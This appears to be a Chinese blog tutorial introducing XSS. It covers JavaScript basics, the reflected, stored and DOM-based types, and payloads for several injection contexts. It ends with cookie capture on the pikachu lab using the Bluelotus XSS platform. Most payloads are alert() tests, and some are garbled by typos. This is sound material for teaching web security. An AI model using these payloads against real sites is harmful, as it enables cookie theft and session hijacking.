XSS漏洞入门

一、javascript代码的简单了解

如果想细学js可以在w3school 在线教程中学习

1、<script>标签

在 HTML 中,JavaScript 代码必须位于<script>与</script>标签之间

<!DOCTYPE html>
<html>
<body>

<p id="demo"></p>
#定义一个id为demo的元素
<script>
document.getElementById("demo").innerHTML = "123456";
</script>

</body>
</html>

-------------------------------------------------------
123456

2、document

document是一个全局对象,它代表了当前的网页,也就是DOM(文档对象模型)树。通过document可以访问和操作网页上的HTML元素和内容,以及与这些元素相关的事件。通过使用document的属性和方法可以实现对网页内容的全面控制。

常用的属性和方法:

  • document.getElementById(id): 获取具有指定ID的元素。
  • document.querySelector(selectors): 获取第一个匹配指定CSS选择器的元素。
  • document.querySelectorAll(selectors): 获取所有匹配指定CSS选择器的元素集合。
  • document.createElement(tagName): 创建一个新的HTML元素。
  • document.write(text): 向文档写入文本或HTML。
  • document.getElementById('elementId').innerHTML: 获取或设置元素的HTML内容。

 3、js的简单使用

  • 在<head>中

点击按钮后

  • 在<body>中

点击后

  • 在外部脚本中

外部文件lin.js

function myFunction() {
   document.getElementById("demo").innerHTML = "hahaha";
}

 使用外部脚本

<script src="lin.js"></script>
  • 在外部引用中

用url链接

<script src="https://www.w3school.com.cn/js/lin.js"></script>

用位于当前网站上指定文件夹

<script src="/js/lin.js"></script>

用与当前页面相同文件夹

<script src="lin.js"></script>

4、js的输出

  • 使用 window.alert() 写入警告框
  • 使用 document.write() 写入 HTML 输出
  • 使用 innerHTML 写入 HTML 元素
  • 使用 console.log() 写入浏览器控制台

二、XSS

1、定义

xss:跨站脚本攻击(Crosss Site Scripting),为了不和层叠样式表(Cascading Style Sheets,CSS)的缩写混淆,故将其缩写改为XSS。恶意攻击者往web页面里插入恶意Script代码,当用户浏览该页时,嵌入其中的web的Script代码会被执行,从而达到恶意攻击用户的目的。

2、分类

反射型XSS(Reflected XSS)(中低危)
  • 反射型XSS(Reflected XSS):非持久性XSS,这种攻击具有一次性

攻击方式:攻击者通过邮件等形式将包含XSS代码的链接发给用户,当用户点击时,服务器接受该用户的请求并进行处理,然后把带有XSS的代码发给用户。用户浏览器解析执行代码,触发XSS漏洞。

原理:服务器能否识别到标签属性

用弹框测试

<script>alert(123);</script>

发现页面出现弹窗但刷新后不再显示,说明是一次性的反射型XSS

用属性标签测试

<a herf="">xxx</a>

发现成功识别到标签说明存在XSS

用图片执行弹窗

<img src="#" οnmοuseοver="alter('xss')">

当鼠标移动到图片时会进行弹窗

存储型XSS(Stored XSS)(高危)
  • 存储型XSS(Stored XSS):持久型XSS,攻击脚本存储在目标服务器的数据库中,具有更强的隐蔽性

攻击方式:攻击者在论坛、博客、留言板中,发帖的过程中嵌入XSS攻击代码,帖子被目标服务器存储在数据库中。用户进行正常访问时,触发XSS代码。

 输入发现内容会被保存在数据库

判断是否存在XSS漏洞

<script>alert(123)</script>

输入后出现弹窗且刷新后仍旧存在,说明存在存储型XSS

并且当别的用户访问该页面时同样也会显示弹窗

 DOM型XSS(DOM-based XSS)
  •  DOM型XSS(DOM-based XSS):使用DOM动态访问更新文档的内容、结构及样式

DOM结构图:

HTML标签都是节点,节点组成了节点树。通过HTML DOM可以对树上的所有结点进行修改。

攻击方式:服务器响应不会处理攻击者的脚本,而是用户浏览器处理这个响应时,DOM对象就会处理XSS代码,触发XSS漏洞。

 可能触发DOM型的XSS的JS操作:

document.referer

window.name

location

innerHTML

document.write

1、判断是否存在XSS漏洞

  • 危害较小的dom

不管输入什么字符进去,发现显示的都是what do you see?,查看发现提交的字符是a标签的href属性里的值,所以这时候如果输入<script>标签并不会被识别。

查看源代码

<script>
    function domxss(){
        var str = document.getElementById("text").value;
        //找到id属性值为text的标签并取出它的值
        document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";
        //找到id属性为dom的标签并给这个标签内部插入内容
        //+字符串拼接
    }
</script>

思路一:尝试闭合<a>标签

构造Payload:

'</a><script>alert(123);</script><a>

#如果用"会与后面的"结合导致闭合失败,用'浏览器会将其自动识别为"并与前面的"闭合

但是发现并没有效果,因为<script>标签放在<a>标签内不会生效

思路二:利用onclick事件

构造Payload:

'οnclick="alert(123)">

onclick变成正常的属性,点击成功跳出弹窗

  • 危害较大的dom

输入一串字符,查看源码发现有一个onclick点击事件且有一个domxss()函数

查看源代码,搜索domxss()

<script>
    function domxss(){
        var str = window.location.search;
        //获取当前网址的查询数据
        var txss = decodeURIComponent(str.split("text=")[1]);
        //定义一个texx值为我们输入的数据
        var xss = txss.replace(/\+/g,' ');
        //将输入数据拼接到下方的href中
//        alert(xss);

        document.getElementById("dom").innerHTML = "<a href='"+xss+"'>就让往事都随风,都随风吧</a>";
    }
</script>

点击后查看发现我们的字符确实被拼接

构造payload:

'οnclick="alert(123)">

三、XSS可能存在的地方

有用户输入输出和交互的地方都有可能有XSS

1、HTML context

<p>
Hello <script>alert('xss')</script>
</p>

2、Attribute(属性) Context

<img src="image.png" alt="onload=alert('xss') x=" ">
//alt属性被用于存储一个错误的信息。

<input type="text" balue=" " onfocus=alert('xss') autofocus x=" ">
//<input>标签创建交互式表单元素的一种方式
//onfocus=alert('xss')当输入框获得焦点时触发弹窗
//autofocus属性会使页面加载时自动将焦点设置到这个输入框上,从而立即触发onfocus事件。

<body onload="javascript:alert(123)"> 
//onload属性在页面加载完成后立即触发,执行其中的JavaScript代码。

3、URL Context

<a href="data:text/html;charset=utf-8;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">Linl</a>

<META http-equiv="refresh" content="S;URL=data:text/html;charset=utf-8;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
//<meta>标签用于在指定的秒数后自动刷新页面,并将浏览器重定向到一个新的URL。
//S:这是一个变量,应该是刷新页面前的延迟时间,以秒为单位。在实际的代码中,您需要替换S为一个具体的数字

<iframe src="javascript:alert(123)">
//<iframe> 标签用于创建一个内联框架,可以在当前页面中嵌入另一个HTML页面。

4、Style Context

<img style="xss:expression(alert('xss'))" src="image.png">
//style属性用于定义元素的样式信息

<style>
body{width:expression(alert(123))}
</style>

四、XSS平台的使用

推荐:Bluelotus、xssplatform

Bluelotus搭建及使用:http://t.csdnimg.cn/vRvy4

xssplatform建及使用:http://t.csdnimg.cn/cy1c2

这里示范用的是Bluelotus,靶场为pikachu的反射性xss(get)

先创建一个项目,选择插入default模板(根据需要改变)

生成payload(根据环境的禁用可以自己适当变动以绕过)

将payload粘贴到注入处,发现不完整查看源代码有字数限制

将字数限制删除,点击submit。然后返回网站查看有一条通知,点击查看接收面板展开得到想要的数据

在pikachu里查看一下cookie验证是否正确

<script>alert(document.cookie)</script>

cookie一样

扩展:

Cookie是什么?

Cookie是在HTTP协议下,服务器或脚本可以维护客户工作站上信息的一种方式。它是一个小型的文本文件,由网页服务器发送到用户的浏览器,并且存储在用户的电脑上。当用户再次访问这个网页时,浏览器会将这个Cookie文件发送回服务器,以此来识别用户和用户的浏览历史。

服务器可以利用Cookie包含的信息的任意性来筛选并经常性的维护这些信息,以判断在HTTP传输中的状态。

Cookies的主要用途包括:

  1. 认证和授权:网站可以使用Cookies来识别用户,使得用户在浏览网站的不同页面时无需重复登录。

  2. 用户偏好设置:网站可以通过Cookies记住用户的偏好设置,如语言选择、字体大小等。

  3. 跟踪用户行为:网站可以使用Cookies来跟踪用户的浏览行为,分析用户如何使用网站,从而改进网站的设计和功能。

  4. 目标广告:广告商可以使用Cookies来跟踪用户的上网习惯,然后提供与用户兴趣相关的广告。

  • 20
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值